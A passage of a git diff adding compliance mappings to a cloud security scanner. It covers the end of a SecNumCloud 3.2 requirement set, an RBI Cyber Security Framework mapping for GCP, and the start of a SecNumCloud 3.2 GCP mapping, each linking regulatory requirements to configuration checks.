prestataire doit documenter et mettre en oeuvre une procedure permettant d'enregistrer les informations relatives aux incidents de securite et pouvant servir d'elements de preuve." + } + ], + "Checks": [ + "monitor_diagnostic_settings_exists", + "monitor_diagnostic_setting_with_appropriate_categories" + ] + }, + { + "Id": "17.1", + "Description": "Le prestataire doit determiner ses exigences en matiere de securite de l'information et de continuite du management de la securite de l'information dans des situations defavorables, par exemple lors d'une crise ou d'un sinistre.", + "Name": "Organisation de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre oeuvre un plan de continuite d'activite prenant en compte la securite de l'information. b) Le prestataire doit reviser annuellement le plan de continuite d'activite du service et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "17.2", + "Description": "Le prestataire doit etablir, documenter, mettre en oeuvre et maintenir des processus, des procedures et des mesures de controle pour assurer le niveau requis de continuite de la securite de l'information au cours d'une situation defavorable. Les services doivent etre deployes en multi-AZ.", + "Name": "Mise en oeuvre de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "rds", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des procedures permettant de maintenir ou de restaurer l'exploitation du service et d'assurer la disponibilite des informations au niveau et dans les delais pour lesquels le prestataire s'est engage vis-a-vis du commanditaire dans la convention de service." + } + ], + "Checks": [ + "storage_geo_redundant_enabled", + "vm_scaleset_associated_with_load_balancer" + ] + }, + { + "Id": "17.3", + "Description": "Le prestataire doit verifier a intervalles reguliers les mesures de continuite de la securite de l'information mises en oeuvre afin de s'assurer qu'elles sont valables et efficaces dans des situations defavorables.", + "Name": "Verifier, revoir et evaluer la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester le plan de continuite d'activites afin de s'assurer qu'il est pertinent et efficace en situation de crise." + } + ], + "Checks": [] + }, + { + "Id": "17.4", + "Description": "Les moyens de traitement de l'information doivent etre mis en oeuvre avec suffisamment de redondance pour repondre aux exigences de disponibilite. Les mecanismes de protection contre la suppression accidentelle doivent etre actives.", + "Name": "Disponibilite des moyens de traitement de l'information", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "rds", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures qui lui permettent de repondre au besoin de disponibilite du service defini dans la convention de service (voir chapitre 19.1)." + } + ], + "Checks": [ + "storage_geo_redundant_enabled", + "keyvault_recoverable" + ] + }, + { + "Id": "17.5", + "Description": "La configuration de l'infrastructure technique du service cloud doit etre sauvegardee regulierement afin de permettre sa restauration en cas de sinistre.", + "Name": "Sauvegarde de la configuration de l'infrastructure technique", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "backup", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de sauvegarde hors-ligne de la configuration de l'infrastructure technique." + } + ], + "Checks": [ + "policy_ensure_asc_enforcement_enabled", + "vm_backup_enabled" + ] + }, + { + "Id": "17.6", + "Description": "Le prestataire doit mettre a disposition du commanditaire un dispositif de sauvegarde de ses donnees, permettant la restauration en cas de sinistre.", + "Name": "Mise a disposition d'un dispositif de sauvegarde des donnees du commanditaire", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "backup", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre a disposition du commanditaire un service de sauvegarde de ses donnees." + } + ], + "Checks": [ + "vm_backup_enabled", + "storage_ensure_soft_delete_is_enabled", + "storage_blob_versioning_is_enabled" + ] + }, + { + "Id": "18.1", + "Description": "Toutes les exigences legales, reglementaires et contractuelles en vigueur, ainsi que l'approche du prestataire pour satisfaire ces exigences, doivent etre explicitement definies, documentees et tenues a jour pour chaque systeme d'information et pour le prestataire.", + "Name": "Identification de la legislation et des exigences contractuelles applicables", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les exigences legales, reglementaires et contractuelles en vigueur applicables au service. En France, le prestataire doit considerer au minimum les textes suivants : les donnees a caractere personnel [LOI_IL], [RGPD] ; le secret professionnel [CP_ART_226_13], le cas echeant sans prejudice de l'application de l'article 40 alinea 2 du Code de procedure penale relatif au signalement a une autorite judiciaire ; l'abus de confiance [CP_ART_314-1] ; le secret des correspondances privees [CP_ART_226-15] ; l'atteinte a la vie privee [CP_ART_226-1] ; l'acces ou le maintien frauduleux a un systeme d'information [CP_ART_323-1]. b) Le prestataire doit, selon son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable) justifier et documenter les choix de mesures techniques et organisationnelles realises en vue de repondre aux exigences de protection des donnees a caractere personnel du present referentiel (voir partie 19.5). c) Le prestataire doit documenter et mettre en oeuvre les procedures permettant de respecter les exigences legales, reglementaires et contractuelles en vigueur applicables au service, ainsi que les besoins de securite specifiques (voir exigence 8.3b)). d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible l'ensemble de ces procedures. e) Le prestataire doit documenter et mettre en oeuvre un processus de veille actif des exigences legales, reglementaires et contractuelles en vigueur applicables au service." + } + ], + "Checks": [] + }, + { + "Id": "18.2", + "Description": "L'approche du prestataire vis-a-vis de la gestion de la securite de l'information et sa mise en oeuvre (c'est-a-dire les objectifs de controle, les mesures, les politiques, les procedures et les processus relatifs a la securite de l'information) doivent etre revues de maniere independante a intervalles definis ou en cas de changement significatif.", + "Name": "Revue independante de la securite de l'information", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un programme d'audit sur trois ans definissant le perimetre et la frequence des audits en accord avec la gestion du changement, les politiques, et les resultats de l'appreciation des risques. Le prestataire doit inclure dans le programme d'audit un audit qualifie par an realise par un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie. L'ensemble du programme d'audit doit notamment couvrir : l'audit de la configuration de l'infrastructure technique du service (par echantillonnage et doit inclure tous types d'equipements et de serveurs presents dans le systeme d'information du service) ; le test d'intrusion des interfaces d'administration exposees sur un reseau public ; le test d'intrusion de l'interface utilisateur pour les services SaaS ; si le service beneficie de developpements internes, l'audit de code source portant sur les fonctionnalites de securite implementees (l'approche en continue doit etre privilegiee). b) Il est recommande que le prestataire mette en oeuvre des mecanismes automatises d'audit de la configuration adaptes a l'infrastructure technique du service." + } + ], + "Checks": [] + }, + { + "Id": "18.3", + "Description": "Les responsables doivent regulierement s'assurer de la conformite du traitement de l'information et des procedures au sein de leur domaine de responsabilite, au regard des politiques et des normes de securite.", + "Name": "Conformite avec les politiques et les normes de securite", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "securityhub", + "Type": "Partially Automated", + "Comment": "a) Le prestataire via le responsable de la securite de l'information doit s'assurer regulierement de l'execution correcte de l'ensemble des procedures de securite placees sous sa responsabilite en vue de garantir leur conformite avec les politiques et normes de securite." + } + ], + "Checks": [ + "policy_ensure_asc_enforcement_enabled", + "defender_ensure_mcas_is_enabled" + ] + }, + { + "Id": "18.4", + "Description": "Les systemes d'information doivent etre examines regulierement quant a leur conformite avec les politiques et les normes de securite de l'information du prestataire.", + "Name": "Examen de la conformite technique", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "securityhub", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique permettant de verifier la conformite technique du service aux exigences du present referentiel. Cette politique doit definir les objectifs, methodes, frequences, resultats attendus et mesures correctrices." + } + ], + "Checks": [ + "sqlserver_vulnerability_assessment_enabled", + "defender_ensure_defender_for_server_is_on" + ] + }, + { + "Id": "19.1", + "Description": "Le prestataire doit etablir une convention de service avec le commanditaire definissant les engagements de niveau de service, les responsabilites et les conditions d'utilisation du service cloud.", + "Name": "Convention de service", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit etablir une convention de service avec chacun des commanditaires du service. Toute modification de la convention de service doit etre soumise a acceptation du commanditaire. b) Le prestataire doit identifier dans la convention de service : les obligations, droits et responsabilites de chacune des parties : prestataire et tiers impliques dans la fourniture du service, commanditaires, etc. ; les elements explicitement exclus des responsabilites du prestataire dans la limite de ce que prevoient les exigences legales et reglementaires en vigueur, notamment l'article 28 du [RGPD] ; la localisation du service. La localisation du support doit etre precisee lorsqu'il est realise depuis un Etat hors l'Union Europeenne, comme le permet l'exigence 19.2.e. c) Le prestataire doit proposer une convention de service appliquant le droit d'un Etat membre de l'Union Europeenne. Le droit applicable doit etre identifie dans la convention de service. d) La convention de service doit indiquer que la collecte, la manipulation, le stockage, et plus generalement le traitement des donnees faits dans le cadre de l'avant-vente, de la mise en oeuvre, de la maintenance et l'arret du service sont realises conformement aux exigences edictees par la legislation en vigueur. e) La convention de service doit indiquer que le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne (voir 5.3.e). f) Le prestataire doit decrire dans la convention de service les moyens techniques et organisationnels qu'il met en oeuvre pour assurer le respect du droit applicable. g) Le prestataire doit inclure dans la convention de service une clause de revision de la convention prevoyant notamment une resiliation sans penalite pour le commanditaire en cas de perte de la qualification octroyee au service. h) Le prestataire doit inclure dans la convention de service une clause de reversibilite permettant au commanditaire de recuperer l'ensemble de ses donnees (fournies directement par le commanditaire ou produites dans le cadre du service a partir des donnees ou des actions du commanditaire). i) Le prestataire doit assurer cette reversibilite via l'une des modalites techniques suivantes : la mise a disposition de fichiers suivant un ou plusieurs formats documentes et exploitables en dehors du service fourni par le prestataire ; la mise en place d'interfaces techniques permettant l'acces aux donnees suivant un schema documente et exploitable (API, format pivot, etc.). Les modalites techniques de la reversibilite figurent dans la convention de service. j) Le prestataire doit indiquer dans la convention de service le niveau de disponibilite du service. k) Le prestataire doit indiquer dans la convention de service qu'il ne peut disposer des donnees transmises et generees par le commanditaire, leur disposition etant reservee au commanditaire. l) Le prestataire doit indiquer dans la convention de service qu'il ne divulgue aucune information relative a la prestation a des tiers, sauf autorisation formelle et ecrite du commanditaire. m) Le prestataire doit indiquer dans la convention de service si les donnees du commanditaire sont automatiquement sauvegardees ou non. Dans la negative, le prestataire doit sensibiliser le commanditaire aux risques encourus et clairement indiquer les operations a mener par le commanditaire pour que ses donnees soient sauvegardees. n) Le prestataire doit indiquer dans la convention de service s'il autorise l'acces distant pour des actions d'administration ou de support au systeme d'information du service. o) Le prestataire doit preciser dans la convention de service que : le service est qualifie et inclure l'attestation de qualification ; le commanditaire peut deposer une reclamation relative au service qualifie aupres de l'ANSSI ; le commanditaire autorise l'ANSSI et l'organisme de qualification a auditer le service et son systeme d'information du service afin de verifier qu'ils respectent les exigences du present referentiel. p) Le prestataire doit preciser dans la convention de service que le commanditaire autorise, conformement au present referentiel (voir chapitre 18.2, un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie mandate par le prestataire a auditer le service et son systeme d'information dans le cadre du plan de controle. q) Le prestataire doit preciser dans la convention de service qu'il s'engage a mettre a disposition toutes les informations necessaires a la realisation d'audits de conformite aux dispositions de l'article 28 du [RGPD], menes par le commanditaire ou un tiers mandate. r) Il est recommande que le tiers mandate pour les audits soit un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie." + } + ], + "Checks": [] + }, + { + "Id": "19.2", + "Description": "Les donnees du commanditaire doivent etre stockees et traitees dans des centres de donnees situes sur le territoire de l'Union europeenne. Les politiques de restriction de region doivent etre appliquees.", + "Name": "Localisation des donnees", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "organizations", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et communiquer au commanditaire la localisation du stockage et du traitement des donnees de ce dernier. b) Le prestataire doit stocker et traiter les donnees du commanditaire au sein de l'Union Europeenne. c) Les operations d'administration et de supervision du service doivent etre realisees depuis le territoire de l'Union Europeenne. d) Le prestataire doit stocker et traiter les donnees techniques (identites des beneficiaires et des administrateurs de l'infrastructure technique, donnees manipulees par le Software Defined Network, journaux de l'infrastructure technique, annuaire, certificats, configuration des acces, etc.) au sein de l'Union Europeenne. e) Le prestataire peut realiser des operations de support aux commanditaires depuis un Etat hors de l'Union Europeenne. Il doit documenter la liste des operations qui peuvent etre effectuees par le support au commanditaire depuis un Etat hors de l'Union Europeenne, et les mecanismes permettant d'en assurer le controle d'acces et la supervision depuis l'Union Europeenne." + } + ], + "Checks": [] + }, + { + "Id": "19.3", + "Description": "Les services cloud qualifies SecNumCloud doivent etre operes depuis le territoire de l'Union europeenne.", + "Name": "Regionalisation", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit s'assurer que les interfaces du service accessibles au commanditaire soient au moins disponibles en langue francaise. b) Le prestataire doit fournir un support de premier niveau en langue francaise." + } + ], + "Checks": [] + }, + { + "Id": "19.4", + "Description": "Le prestataire doit definir les conditions de fin de contrat, incluant les modalites de restitution et de suppression des donnees du commanditaire.", + "Name": "Fin de contrat", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) A la fin du contrat liant le prestataire et le commanditaire, que le contrat soit arrive a son terme ou pour toute autre cause, le prestataire doit assurer un effacement securise de l'integralite des donnees du commanditaire. Cet effacement doit faire l'objet d'un preavis formel au commanditaire de la part du prestataire respectant un delai de vingt et un jours calendaires. L'effacement peut etre realise suivant l'une des methodes suivantes, et ce dans un delai precise dans la convention de service : effacement par reecriture complete de tout support ayant heberge ces donnees ; effacement des cles utilisees pour le chiffrement des espaces de stockage du commanditaire decrit au chapitre 10.1 ; recyclage securise, dans les conditions enoncees au chapitre 11.9. b) A la fin du contrat, le prestataire doit supprimer les donnees techniques relatives au commanditaire (annuaire, certificats, configuration des acces, etc.)." + } + ], + "Checks": [] + }, + { + "Id": "19.5", + "Description": "Le prestataire doit mettre en oeuvre des mesures techniques et organisationnelles appropriees pour garantir la protection des donnees a caractere personnel conformement a la reglementation en vigueur.", + "Name": "Protection des donnees a caractere personnel", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit justifier du respect des principes de protection des donnees pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte. Il doit justifier au minimum les points suivants : les finalites des traitements determinees, explicites et legitimes ; la tracabilite des activites de traitement pour son compte et celui de son commanditaire ; le fondement licite des traitements ; l'interdiction du detournement de finalite des traitements ; les donnees utilisees respectent le principe du minimum necessaire et suffisant pour les traitements ; ainsi sont adequates, pertinentes et limitees ; la qualite des donnees utilisees pour les traitements maintenue : donnees exactes et tenues a jour ; les durees de conservation definies et limitees. b) Le prestataire doit justifier, pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte, du respect des droits des personnes concernees. Il doit justifier au minimum les points suivants : l'information des usagers via un traitement loyal et transparent ; le recueil du consentement des usagers : expres, demontrable et retirable ; la possibilite pour les usagers d'exercer les droits d'acces, de rectification et d'effacement ; la possibilite pour les usagers d'exercer les droits de limitation du traitement, de portabilite et d'opposition. c) Lorsqu'il agit en qualite de sous-traitant au sens de l'article 28 de [RGPD], le prestataire doit apporter assistance et conseil au commanditaire en l'informant si une instruction de ce dernier constitue une violation des regles de protection des donnees." + } + ], + "Checks": [] + }, + { + "Id": "19.6", + "Description": "Le prestataire doit mettre en oeuvre des mesures de protection vis-a-vis du droit extra-europeen, afin de garantir que les donnees du commanditaire ne puissent etre soumises a des legislations extra-europeennes.", + "Name": "Protection vis-a-vis du droit extra-europeen", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le siege statutaire, administration centrale et principal etablissement du prestataire doivent etre etablis au sein d'un Etat membre de l'Union Europeenne. b) Le capital social et les droits de vote dans la societe du prestataire ne doivent pas etre, directement ou indirectement : individuellement detenus a plus de 24% ; et collectivement detenus a plus de 39% ; par des entites tierces possedant leur siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union europeenne. Ces entites tierces susmentionnees ne peuvent pas individuellement ou collectivement : en vertu d'un contrat ou de clauses statutaires, disposer d'un droit de veto ; en vertu d'un contrat ou de clauses statutaires, designer la majorite des membres des organes d'administration, de direction ou de surveillance du prestataire. c) En cas de recours par le prestataire, dans le cadre des services fournis au commanditaire, aux services d'une societe tierce - y compris un sous-traitant - possedant son siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union Europeenne ou appartenant ou etant controlee par une societe tierce domiciliee en dehors l'Union Europeenne, cette susdite societe tierce ne doit pas avoir la possibilite technique d'obtenir les donnees operees au travers du service. d) Dans le cadre de l'exigence 19.6.c, toute societe tierce a laquelle le prestataire recourt pour fournir tout ou partie du service rendu au commanditaire, doit garantir au prestataire une autonomie d'exploitation continue dans la fourniture des services d'informatique en nuage qu'il opere ou doit etre qualifie SecNumCloud. e) Le service fourni par le prestataire doit respecter la legislation en vigueur en matiere de droits fondamentaux et les valeurs de l'Union relatives au respect de la dignite humaine, a la liberte, a l'egalite, a la democratie et a l'Etat de droit. f) Le prestataire doit informer formellement le commanditaire, et dans un delai d'un mois, de tout changement juridique, organisationnel ou technique pouvant avoir un impact sur la conformite de la prestation aux exigences du chapitre 19.6." + } + ], + "Checks": [] + } + ] +} diff --git a/prowler/compliance/gcp/rbi_cyber_security_framework_gcp.json b/prowler/compliance/gcp/rbi_cyber_security_framework_gcp.json new file mode 100644 index 0000000000..e86aee6e63 --- /dev/null +++ b/prowler/compliance/gcp/rbi_cyber_security_framework_gcp.json @@ -0,0 +1,178 @@ +{ + "Framework": "RBI-Cyber-Security-Framework", + "Name": "Reserve Bank of India (RBI) Cyber Security Framework", + "Version": "", + "Provider": "GCP", + "Description": "The Reserve Bank had prescribed a set of baseline cyber security controls for primary (Urban) cooperative banks (UCBs) in October 2018. On further examination, it has been decided to prescribe a comprehensive cyber security framework for the UCBs, as a graded approach, based on their digital depth and interconnectedness with the payment systems landscape, digital products offered by them and assessment of cyber security risk. The framework would mandate implementation of progressively stronger security measures based on the nature, variety and scale of digital product offerings of banks.", + "Requirements": [ + { + "Id": "annex_i_1_1", + "Name": "Annex I (1.1)", + "Description": "UCBs should maintain an up-to-date business IT Asset Inventory Register containing the following fields, as a minimum: a) Details of the IT Asset (viz., hardware/software/network devices, key personnel, services, etc.), b. Details of systems where customer data are stored, c. Associated business applications, if any, d. Criticality of the IT asset (For example, High/Medium/Low).", + "Attributes": [ + { + "ItemId": "annex_i_1_1", + "Service": "gcp" + } + ], + "Checks": [ + "iam_cloud_asset_inventory_enabled", + "iam_organization_essential_contacts_configured" + ] + }, + { + "Id": "annex_i_1_3", + "Name": "Annex I (1.3)", + "Description": "Appropriately manage and provide protection within and outside UCB/network, keeping in mind how the data/information is stored, transmitted, processed, accessed and put to use within/outside the UCB's network, and level of risk they are exposed to depending on the sensitivity of the data/information.", + "Attributes": [ + { + "ItemId": "annex_i_1_3", + "Service": "gcp" + } + ], + "Checks": [ + "cloudstorage_bucket_public_access", + "cloudstorage_bucket_uniform_bucket_level_access", + "cloudstorage_bucket_logging_enabled", + "cloudstorage_bucket_versioning_enabled", + "cloudsql_instance_public_access", + "cloudsql_instance_public_ip", + "cloudsql_instance_ssl_connections", + "compute_instance_public_ip", + "compute_instance_encryption_with_csek_enabled", + "compute_image_not_publicly_shared", + "kms_key_rotation_enabled", + "kms_key_not_publicly_accessible", + "bigquery_dataset_public_access", + "bigquery_dataset_cmk_encryption" + ] + }, + { + "Id": "annex_i_5_1", + "Name": "Annex I (5.1)", + "Description": "The firewall configurations should be set to the highest security level and evaluation of critical device (such as firewall, network switches, security devices, etc.) configurations should be done periodically.", + "Attributes": [ + { + "ItemId": "annex_i_5_1", + "Service": "compute" + } + ], + "Checks": [ + "compute_firewall_rdp_access_from_the_internet_allowed", + "compute_firewall_ssh_access_from_the_internet_allowed", + "compute_network_not_legacy", + "compute_network_default_in_use", + "compute_subnet_flow_logs_enabled", + "compute_network_dns_logging_enabled", + "dns_dnssec_disabled" + ] + }, + { + "Id": "annex_i_6", + "Name": "Annex I (6)", + "Description": "Put in place systems and processes to identify, track, manage and monitor the status of patches to servers, operating system and application software running at the systems used by the UCB officials (end-users). Implement and update antivirus protection for all servers and applicable end points preferably through a centralised system.", + "Attributes": [ + { + "ItemId": "annex_i_6", + "Service": "gcp" + } + ], + "Checks": [ + "compute_instance_shielded_vm_enabled", + "compute_project_os_login_enabled", + "artifacts_container_analysis_enabled", + "gcr_container_scanning_enabled" + ] + }, + { + "Id": "annex_i_7_1", + "Name": "Annex I (7.1)", + "Description": "Disallow administrative rights on end-user workstations/PCs/laptops and provide access rights on a 'need to know' and 'need to do' basis.", + "Attributes": [ + { + "ItemId": "annex_i_7_1", + "Service": "iam" + } + ], + "Checks": [ + "iam_sa_no_administrative_privileges", + "iam_no_service_roles_at_project_level", + "iam_role_sa_enforce_separation_of_duties", + "iam_role_kms_enforce_separation_of_duties", + "iam_sa_no_user_managed_keys", + "compute_instance_default_service_account_in_use", + "compute_instance_default_service_account_in_use_with_full_api_access" + ] + }, + { + "Id": "annex_i_7_2", + "Name": "Annex I (7.2)", + "Description": "Passwords should be set as complex and lengthy and users should not use same passwords for all the applications/systems/devices.", + "Attributes": [ + { + "ItemId": "annex_i_7_2", + "Service": "iam" + } + ], + "Checks": [ + "compute_project_os_login_2fa_enabled", + "iam_account_access_approval_enabled" + ] + }, + { + "Id": "annex_i_7_3", + "Name": "Annex I (7.3)", + "Description": "Remote Desktop Protocol (RDP) which allows others to access the computer remotely over a network or over the internet should be always disabled and should be enabled only with the approval of the authorised officer of the UCB. Logs for such remote access shall be enabled and monitored for suspicious activities.", + "Attributes": [ + { + "ItemId": "annex_i_7_3", + "Service": "compute" + } + ], + "Checks": [ + "compute_firewall_rdp_access_from_the_internet_allowed", + "compute_firewall_ssh_access_from_the_internet_allowed", + "compute_project_os_login_enabled" + ] + }, + { + "Id": "annex_i_7_4", + "Name": "Annex I (7.4)", + "Description": "Implement appropriate (e.g. centralised) systems and controls to allow, manage, log and monitor privileged/super user/administrative access to critical systems (servers/databases, applications, network devices etc.)", + "Attributes": [ + { + "ItemId": "annex_i_7_4", + "Service": "logging" + } + ], + "Checks": [ + "iam_audit_logs_enabled", + "logging_sink_created", + "cloudstorage_audit_logs_enabled", + "compute_loadbalancer_logging_enabled", + "compute_subnet_flow_logs_enabled", + "logging_log_metric_filter_and_alert_for_project_ownership_changes_enabled", + "logging_log_metric_filter_and_alert_for_custom_role_changes_enabled", + "logging_log_metric_filter_and_alert_for_audit_configuration_changes_enabled" + ] + }, + { + "Id": "annex_i_12", + "Name": "Annex I (12)", + "Description": "Take periodic back up of the important data and store this data 'off line' (i.e., transferring important files to a storage device that can be detached from a computer/system after copying all the files).", + "Attributes": [ + { + "ItemId": "annex_i_12", + "Service": "gcp" + } + ], + "Checks": [ + "cloudsql_instance_automated_backups", + "cloudstorage_bucket_versioning_enabled", + "cloudstorage_bucket_soft_delete_enabled", + "cloudstorage_bucket_lifecycle_management_enabled", + "compute_snapshot_not_outdated" + ] + } + ] +} diff --git a/prowler/compliance/gcp/secnumcloud_3.2_gcp.json b/prowler/compliance/gcp/secnumcloud_3.2_gcp.json new file mode 100644 index 0000000000..e709545da4 --- /dev/null +++ b/prowler/compliance/gcp/secnumcloud_3.2_gcp.json @@ -0,0 +1,1460 @@ +{ + "Framework": "SecNumCloud", + "Name": "SecNumCloud Referentiel d'Exigences v3.2", + "Version": "3.2", + "Provider": "GCP", + "Description": "The SecNumCloud framework is published by ANSSI (Agence Nationale de la Securite des Systemes d'Information) to qualify cloud service providers operating in France. Version 3.2, dated March 8, 2022, covers IaaS, CaaS, PaaS, and SaaS services with requirements spanning information security policies, access control, cryptography, physical security, operational security, communications security, and data sovereignty protections against extra-European law.", + "Requirements": [ + { + "Id": "5.1", + "Description": "Le prestataire doit definir et appliquer des principes de securite de l'information adaptes a ses activites de fourniture de services cloud.", + "Name": "Principes", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit operer la prestation a l'etat de l'art pour le type d'activite retenu : utiliser des logiciels stables beneficiant d'un suivi des correctifs de securite et parametres de facon a obtenir un niveau de securite optimal. b) Le prestataire doit appliquer le guide d'hygiene informatique de l'ANSSI [HYGIENE], niveau renforce, au systeme d'information du service." + } + ], + "Checks": [] + }, + { + "Id": "5.2", + "Description": "Le prestataire doit definir, faire approuver par la direction, publier et communiquer aux salaries et aux tiers concernes un ensemble de politiques de securite de l'information.", + "Name": "Politique de securite de l'information", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de securite de l'information relative au service. b) La politique de securite de l'information doit identifier les engagements du prestataire quant au respect de la legislation et reglementation nationale en vigueur selon la nature des informations qui pourraient etre confiees par le commanditaire au prestataire ; il revient en revanche in fine au commanditaire de s'assurer du respect des contraintes legales et reglementaires applicables aux donnees qu'il confie effectivement au prestataire. c) La politique de securite de l'information doit notamment couvrir les themes abordes aux chapitres 6 a 19 du present referentiel. d) La direction du prestataire doit approuver formellement la politique de securite de l'information. e) Le prestataire doit reviser annuellement la politique de securite de l'information et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "5.3", + "Description": "Le prestataire doit definir et appliquer un processus d'appreciation des risques de securite de l'information.", + "Name": "Appreciation des risques", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une appreciation des risques couvrant l'ensemble du perimetre du service. b) Le prestataire doit realiser son appreciation de risques en utilisant une methode documentee garantissant la reproductibilite et comparabilite de la demarche. c) Le prestataire doit prendre en compte dans l'appreciation des risques : la gestion d'informations du commanditaire ayant des besoins de securite differents ; les risques ayant des impacts sur les droits et libertes des personnes concernees en cas d'acces non autorise, de modification non desiree et de disparition de donnees a caractere personnel ; les risques de defaillance des mecanismes de cloisonnement des ressources de l'infrastructure technique (memoire, calcul, stockage, reseau) partagees entre les commanditaires ; les risques lies a l'effacement incomplet ou non securise des donnees stockees sur les espaces de memoire ou de stockage partages entre commanditaires, en particulier lors des reallocations des espaces de memoire et de stockage ; les risques lies a l'exposition des interfaces d'administration sur un reseau public ; les risques d'atteinte a la confidentialite des donnees des commanditaires par des tiers impliques dans la fourniture du service (fournisseurs, sous-traitants, etc.) ; les risques lies aux evenements naturels et sinistres physiques ; les risques lies a la separation des taches (voir 6.2.a) ; les risques lies aux environnements de developpement (voir 14.4.b). d) Le prestataire doit lister, dans un document specifique, les risques residuels lies a l'existence de lois extra-europeennes ayant pour objectif la collecte de donnees ou metadonnees des commanditaires sans leur consentement prealable. e) Le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne. f) Lorsqu'il existe des exigences legales, reglementaires ou sectorielles specifiques liees aux types d'informations confiees par le commanditaire au prestataire, ce dernier doit les prendre en compte dans son appreciation des risques en s'assurant de respecter l'ensemble des exigences du present referentiel d'une part et de ne pas abaisser le niveau de securite etabli par le respect des exigences du present referentiel d'autre part. g) La direction du prestataire doit accepter formellement les risques residuels identifies dans l'appreciation des risques. h) Le prestataire doit reviser annuellement l'appreciation des risques et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "6.1", + "Description": "Le prestataire doit definir et attribuer toutes les responsabilites en matiere de securite de l'information.", + "Name": "Fonctions et responsabilites liees a la securite de l'information", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une organisation interne de la securite pour assurer la definition, la mise en place et le suivi du fonctionnement operationnel de la securite de l'information au sein de son organisation. b) Le prestataire doit designer un responsable de la securite des systemes d'information et un responsable de la securite physique. c) Le prestataire doit definir et attribuer les responsabilites en matiere de securite de l'information pour le personnel implique dans la fourniture du service. d) Le prestataire doit s'assurer apres tout changement majeur pouvant avoir un impact sur le service que l'attribution des responsabilites en matiere de securite de l'information est toujours pertinente. e) Le prestataire doit definir et attribuer les responsabilites en matiere de protection de donnees a caractere personnel, en coherence avec son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable). f) Le prestataire doit, lorsqu'il traite un grand nombre de donnees parmi lesquelles figurent des categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], designer un delegue a la protection des donnees. g) Il est recommande que le prestataire, quel que soit le volume de donnees a caractere personnel qu'il traite, designe un delegue a la protection des donnees. h) Le prestataire doit realiser ou contribuer a la realisation d'une analyse d'impact relative a la protection des donnees a caractere personnel lorsque le traitement est susceptible d'engendrer un risque eleve pour les droits et libertes des personnes concernees (traitement de categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], traitement de donnees a grande echelle, etc.). Cette analyse doit comporter une evaluation juridique du respect des principes et droits fondamentaux, ainsi qu'une etude plus technique des mesures techniques mises en oeuvre pour proteger les personnes des risques pour leur vie privee." + } + ], + "Checks": [] + }, + { + "Id": "6.2", + "Description": "Le prestataire doit separer les taches et les domaines de responsabilite incompatibles afin de reduire les possibilites de modification non autorisee ou de mauvais usage des actifs.", + "Name": "Separation des taches", + "Attributes": [ + { + "Section": "6. 